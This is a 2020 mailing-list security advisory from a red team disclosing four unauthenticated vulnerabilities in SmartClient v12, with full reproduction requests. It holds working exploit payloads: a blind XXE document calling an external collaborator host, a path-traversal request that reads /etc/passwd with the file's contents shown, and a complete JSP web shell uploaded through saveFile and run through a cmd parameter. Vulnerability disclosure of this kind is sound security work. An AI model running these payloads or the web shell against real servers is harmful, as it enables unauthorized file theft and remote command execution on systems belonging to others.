Multiple vulnerabilities in SmartClient_v12

From: Red Team <redteam () certimetergroup com>
Date: Tue, 18 Feb 2020 14:23:46 +0000

Hello,

We are informing you about some vulnerabilities we found in SmartClient_v120.

1. Description
During an analysis on the Isomorphic Smartclient v12 LGPL version, we found multiple security flaws that are here described.
The application we tested (SmartClient_v120p_2019-06-13_LGPL) can be downloaded from official website.
(https://www.smartclient.com/product/download.jsp)
As today is the latest version.

1) Information Disclosure on absolute path
The path "/tools/developerConsoleOperations.jsp" allows a user to test some functionalities. The server accepts in the _transaction parameter XML data and in the appID a valid name; The vulnerable functionality should be also reachable from /isomorphic/IDACall.
If a user makes a request on this path, the server replies with a verbose error showing where the application resides (his absolute path). This issue can be used by a malicious user to improve his knowledge about the environment and used
for further attacks and to.
The path is reachable without any authentication by default.

2) XML External Entity on downloadWSDL
The path "/tools/developerConsoleOperations.jsp" allows a user to test some functionalities. The server accepts in the _transaction parameter XML data and in the appID a valid name.
A WSDL describes the structure of a SOAP webservice and is basically an XML file.
The isomorphic downloadWSDL functionality allows to download and verify a new WSDL (Web Services Description Language).
The WSDL document source of the document isn't checked at all and an attacker can provide a malicious XML file to trigger a blind XXE vulnerability.
The path is reachable without any authentication by default.

Here there is the javadoc of the resource:
https://www.smartclient.com/smartgwtee-12.1/server/javadoc/com/isomorphic/rpc/BuiltinRPC.html#downloadWSDL-java.lang.String-java.lang.String-java.lang.String-com.isomorphic.rpc.RPCManager-javax.servlet.http.HttpServletRequest-javax.servlet.http.HttpServletResponse-

3) Local File Inclusion on loadFile method
The Remote Procedure Call (RPC) 'loadFile' provided by the console functionality on the /tools/developerConsoleOperations.jsp URL is affected by an LFI issue; The vulnerable functionality should be also reachable from /isomorphic/IDACall.
It's possible to tamper the elem tag in the XML contained in the _transaction POST parameter with a path traversal payload to exfiltrate arbitrary file from the file-system.
The path is reachable without any authentication by default.

Here there is the javadoc of the resource:
https://www.smartclient.com/smartgwtee-12.1/server/javadoc/com/isomorphic/rpc/BuiltinRPC.html#loadFile-java.lang.String-

4) Arbitrary File Upload on SaveFile that could lead to RCE
The Remote Procedure Call (RPC) 'saveFile' provided by the console functionality on the /tools/developerConsoleOperations.jsp URL allows a user to upload any file; The vulnerable functionality should be also
reachable from /isomorphic/IDACall.
There isn't any check on the file extension or its content.
The data accepted by the server code shouldn't contain any characters that is used in the XML syntax like "<". This limit can be bypassed using the comment of the XML with "<![CDATA[".
The saved file can be reached inside the web-root with the name of the file used during the file upload.
Also, a file can be uploaded outside the web-root with a path traversal on the file system.
As a test we uploaded a file to /../../../../../../../../../../tmp/test.txt. This allow an attacker to potentially rewrite system files, depending on the current user that execute isomorphic.
The path is reachable without any authentication by default.

Here there is the javadoc of the resource:
https://www.smartclient.com/smartgwtee-12.1/server/javadoc/com/isomorphic/rpc/BuiltinRPC.html#saveFile-java.lang.String-java.lang.String-

2. Step to reproduce:
- Download the open source version of SmartClient 12.0 from:
https://www.smartclient.com/product/download-bounce.jsp?product=smartclient&license=lgpl&version=12.0p&nightly=true
- Unzip the archive and navigate in smartclientSDK
- Run the script "start_embedded_server.sh". A web server with an istance of smartclient will be at
http://localhost:8080
- Use the following payloads to trigger the vulnerabilities.

==========

1) Information Disclosure on absolute path

```
POST /isomorphic/IDACall?isc_rpc=1&isc_v=asd&isc_tnum=3&isc_dd=a HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 610
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/isomorphic/system/helpers/Log.html
Cookie:
GLog=%7B%0A%20%20%20%20isc_pageURL%3A%22http%3A//localhost%3A8081/docs/resources/explorer.html%22%2C%20%0A%20%20%20%20isc_pageGUID%3A%22BEF212E4-B94A-4030-B4C4-EFA951EFD204%22%2C%20%0A%20%20%20%20priorityDefaults%3A%7B%0A%20%20%20%20%20%20%20%20sgwtInternal%3A1%2C%20%0A%20%20%20%20%20%20%20%20Log%3A4%0A%20%20%20%20%7D%2C%20%0A%20%20%20%20defaultPriority%3A3%2C%20%0A%20%20%20%20left%3A0%2C%20%0A%20%20%20%20top%3A0%2C%20%0A%20%20%20%20width%3A996%2C%20%0A%20%20%20%20height%3A549%2C%20%0A%20%20%20%20trackRPC%3Anull%0A%7D;
 JSESSIONID=8CF7DFB620FA8D796DE055F83901909D
Upgrade-Insecure-Requests: 1

_transaction=<transaction xmlns:xsi="http://www.w3.org/2000/10/XMLSchema-instance";
xsi:type="xsd:Object"><transactionNum xsi:type="xsd:long">5</transactionNum><operations xsi:type="xsd:List"><elem
xsi:type="xsd:Object"><appID>XXXXXXX</appID><className>TEST</className><methodName>downloadWSDL</methodName><arguments
xsi:type="xsd:List"><elem>http://10.1.100.6:8000/test.xml</elem><elem>xml</elem><elem>aaaaaa.xml</elem></arguments>
<is_ISC_RPC_DMI

xsi:type="xsd:boolean">true</is_ISC_RPC_DMI></elem></operations><jscallback>iframe</jscallback>
</transaction>&protocolVersion=1.0&__iframeTarget__=isc_HiddenFrame_0

Response from server:
```

```
HTTP/1.1 200
Set-Cookie: JSESSIONID=41CEC8DFC7B8968C0D7EDCABB0A5924B; Path=/; HttpOnly
Cache-Control: no-cache
Pragma: no-cache
Expires: Wed, 02 Oct 2019 15:55:02 GMT
Content-Type: text/html;charset=UTF-8
Date: Wed, 02 Oct 2019 15:55:02 GMT
Connection: close
Content-Length: 874

<HTML>
<BODY ONLOAD='var results = document.formResults.results.value;if (!(new
RegExp("^(\\d{1,3}\\.){3}\\d{1,3}$").test(document.domain))) {while (!window.isc && document.domain.indexOf(".") != -1
) { try { parent.isc; break;} catch (e) {document.domain = document.domain.replace(/.*?\./,
"");}}}parent.isc.Comm.hiddenFrameReply(5,results)'><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
<BR><BR><FORM
 name='formResults'><TEXTAREA readonly name='results'>
//isc_RPCResponseStart-->[{data:"An error occurred when executing this operation on the server.\nException details are
as follows:\n\njava.lang.Exception: Unable to locate XXXXXXX.app.xml - check to make sure it's available in
/mnt/c/Users/XXXXXXX/Desktop/smartclient/SmartClient_v120p_2019-06-
13_LGPL/smartclientSDK/shared/app",status:-1}]//isc_RPCResponseEnd</TEXTAREA></FORM>
</BODY></HTML>
```

---

2) XML External Entity on downloadWSDL
For this vulnerability, it's necessary create a local python server to get a valid blind xxe payload such as:

```
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x";> %ext;
]>
<r></r>
```

Save the payload in a file (e.g. xxe.xml) and start a python server: python -m SimpleHTTPServer 10000

Use this request to trigger the XXE:

```
POST /tools/developerConsoleOperations.jsp?isc_rpc=1&isc_v=v12.0p_2019-06-13&isc_tnum=13 HTTP/1.1
Host: 10.1.100.8:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 616
Connection: close
Upgrade-Insecure-Requests: 1

_transaction=<transaction xmlns:xsi="http://www.w3.org/2000/10/XMLSchema-instance";
xsi:type="xsd:Object"><transactionNum xsi:type="xsd:long">13</transactionNum><operations xsi:type="xsd:List"><elem
xsi:type="xsd:Object"><appID>isc_builtin</appID><className>builtin</className><methodName>downloadWSDL</methodName>
<arguments

xsi:type="xsd:List"><elem>http://localhost:10000/xxe.xml</elem><elem>xml</elem><elem>aaaaa</elem></arguments>
<is_ISC_RPC_DMI

xsi:type="xsd:boolean">true</is_ISC_RPC_DMI></elem></operations><jscallback>iframe</jscallback>
</transaction>&protocolVersion=1.0&__iframeTarget__=isc_HiddenFrame_5
```

---

3) Local File Inclusion on loadFile method
With the following payload can be retrieved the "/etc/passwd":

```
POST /isomorphic/IDACall?isc_rpc=1&isc_v=asd&isc_tnum=3&isc_dd=a HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 686
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/isomorphic/system/helpers/Log.html
Cookie:
GLog=%7B%0A%20%20%20%20isc_pageURL%3A%22http%3A//localhost%3A8081/docs/resources/explorer.html%22%2C%20%0A%20%20%20%20
isc_pageGUID%3A%22BEF212E4-B94A-4030-B4C4-
EFA951EFD204%22%2C%20%0A%20%20%20%20priorityDefaults%3A%7B%0A%20%20%20%20%20%20%20sgwtInternal%3A1%2C%20%0A%20%20%2
0%20%20%20%20%20Log%3A4%0A%20%20%20%20%7D%2C%20%0A%20%20%20%20defaultPriority%3A3%2C%20%0A%20%20%20%20left%3A0%2C%20%0
A%20%20%20%20top%3A0%2C%20%0A%20%20%20%20width%3A996%2C%20%0A%20%20%20%20height%3A549%2C%20%0A%20%20%20%20trackRPC%3An
ull%0A%7D;
 JSESSIONID=8CF7DFB620FA8D796DE055F83901909D
Upgrade-Insecure-Requests: 1

_transaction=<transaction+xmlns%3axsi%3d"http%3a//www.w3.org/2000/10/XMLSchema-instance"+xsi%3atype%3d"xsd%3aObject">
<transactionNum+xsi%3atype%3d"xsd%3along">3</transactionNum><operations+xsi%3atype%3d"xsd%3aList">
<elem+xsi%3atype%3d"xsd%3aObject"><appID>isc_builtin</appID><className>builtin</className>
<methodName>loadFile</methodName><arguments+xsi%3atype%3d"xsd%3aList">
<elem>../../../../../../../../../../../../../../../etc/passwd</elem><elem>xml</elem><elem>asd.xml</elem>
</arguments><is_ISC_RPC_DMI+xsi%3atype%3d"xsd%3aboolean">true</is_ISC_RPC_DMI></elem></operations>
<jscallback>iframe</jscallback></transaction>&protocolVersion=1.0&__iframeTarget__=isc_HiddenFrame_0

Response from server:
HTTP/1.1 200
Cache-Control: no-cache
Pragma: no-cache
Expires: Fri, 04 Oct 2019 13:48:05 GMT
Content-Type: text/html;charset=UTF-8
Date: Fri, 13 Sep 2019 13:48:05 GMT
Connection: close
Content-Length: 1615

<HTML>
<BODY ONLOAD='var results =
document.formResults.results.value;iframjje'><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
<FORM
 name='formResults'><TEXTAREA readonly name='results'>
//isc_RPCResponseStart-->
[{data:"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin
/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr
/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8
:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/u
ucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-
data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing
 List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats
Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534
:/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:101:102:systemd
 Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nsystemd-network:x:102:103:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:103:104:systemd
Resolver,,,:/run/systemd:/usr/sbin/nologin\nredTeamCMG:x:1000:1000:,,,:/home/XXXXXXXX:/bin/bash\nmessagebus:x:104:110:
:/nonexistent:/usr/sbin/nologin\n",status:0}]//isc_RPCResponseEnd</TEXTAREA></FORM>
</BODY></HTML>
```

---

4) Arbitrary File Upload on SaveFile that lead to RCE

```
POST /isomorphic/IDACall?isc_rpc=1&isc_v=asd&isc_tnum=3&isc_dd=a HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1440
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/isomorphic/system/helpers/Log.html
Cookie:
GLog=%7B%0A%20%20%20%20isc_pageURL%3A%22http%3A//localhost%3A8081/docs/resources/explorer.html%22%2C%20%0A%20%20%20%20
isc_pageGUID%3A%22BEF212E4-B94A-4030-B4C4-
EFA951EFD204%22%2C%20%0A%20%20%20%20priorityDefaults%3A%7B%0A%20%20%20%20%20%20%20%20sgwtInternal%3A1%2C%20%0A%20%20%2
0%20%20%20%20%20Log%3A4%0A%20%20%20%20%7D%2C%20%0A%20%20%20%20defaultPriority%3A3%2C%20%0A%20%20%20%20left%3A0%2C%20%0
A%20%20%20%20top%3A0%2C%20%0A%20%20%20%20width%3A996%2C%20%0A%20%20%20%20height%3A549%2C%20%0A%20%20%20%20trackRPC%3An
ull%0A%7D;
 JSESSIONID=8CF7DFB620FA8D796DE055F83901909D
Upgrade-Insecure-Requests: 1

_transaction=<transaction+xmlns%3axsi%3d"http%3a//www.w3.org/2000/10/XMLSchema-instance"+xsi%3atype%3d"xsd%3aObject">
<transactionNum+xsi%3atype%3d"xsd%3along">5</transactionNum><operations+xsi%3atype%3d"xsd%3aList">
<elem+xsi%3atype%3d"xsd%3aObject"><appID>isc_builtin</appID><className>builtin</className>
<methodName>saveFile</methodName><arguments+xsi%3atype%3d"xsd%3aList"><elem>/shell.jsp</elem><elem>
<![CDATA[+
<%25%40+page+import%3d"java.util.*,java.io.*"%25>
<HTML><BODY>
<FORM+METHOD%3d"GET"+NAME%3d"myform"+ACTION%3d"">
<INPUT+TYPE%3d"text"+NAME%3d"cmd">
<INPUT+TYPE%3d"submit"+VALUE%3d"Send">
</FORM>
<pre>
<%25
if+(request.getParameter("cmd")+!%3d+null)+{
++++++++out.println("Command%3a+"+%2b+request.getParameter("cmd")+%2b+"<BR>")%3b
++++++++Process+p+%3d+Runtime.getRuntime().exec(request.getParameter("cmd"))%3b
++++++++OutputStream+os+%3d+p.getOutputStream()%3b
++++++++InputStream+in+%3d+p.getInputStream()%3b
++++++++DataInputStream+dis+%3d+new+DataInputStream(in)%3b
++++++++String+disr+%3d+dis.readLine()%3b
++++++++while+(+disr+!%3d+null+)+{
++++++++++++++++out.println(disr)%3b+
++++++++++++++++disr+%3d+dis.readLine()%3b+
++++++++++++++++}
++++++++}
%25>
</pre>
</BODY></HTML>
]]>
</elem></arguments><is_ISC_RPC_DMI+xsi%3atype%3d"xsd%3aboolean">true</is_ISC_RPC_DMI></elem></operations>
<jscallback>iframjje</jscallback></transaction>&protocolVersion=1.0&__iframeTarget__=isc_HiddenFrame_0

Response from server:
HTTP/1.1 200
Cache-Control: no-cache
Pragma: no-cache
Expires: Fri, 04 Oct 2019 13:59:05 GMT
Content-Type: text/html;charset=UTF-8
Date: Fri, 13 Sep 2019 13:59:05 GMT
Connection: close
Content-Length: 352

<HTML>
<SCRIPT>document.domain = 'a';</SCRIPT>
<BODY ONLOAD='var results =
document.formResults.results.value;iframjje'><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
<FORM
 name='formResults'><TEXTAREA readonly name='results'>
//isc_RPCResponseStart-->[{data:null,status:0}]//isc_RPCResponseEnd</TEXTAREA></FORM>
</BODY></HTML>
```

After upload navigate to http://local_smartclient:PORT/shell.jsp?cmd=whoami

==
==
==
==

Timeline
- 29/10/2019 Sent the first email to developers (info[at]smartclient.com, support[at]smartclient.com). No response.
- 05/11/2019 Sent the second email to developers (info[at]smartclient.com, support[at]smartclient.com). No response.
- 18/02/2020 Issues published on seclist.org

--
RedTeam

Certimeter Group
Corso Svizzera, 185 - 10149 - Torino
Piazza IV Novembre, 4 - 20124 - Milano
Tel +39 011 7741894
www.certimetergroup.com

By Date By Thread

Current thread:

- **Multiple vulnerabilities in SmartClient_v12** ***Red Team (Feb 18)***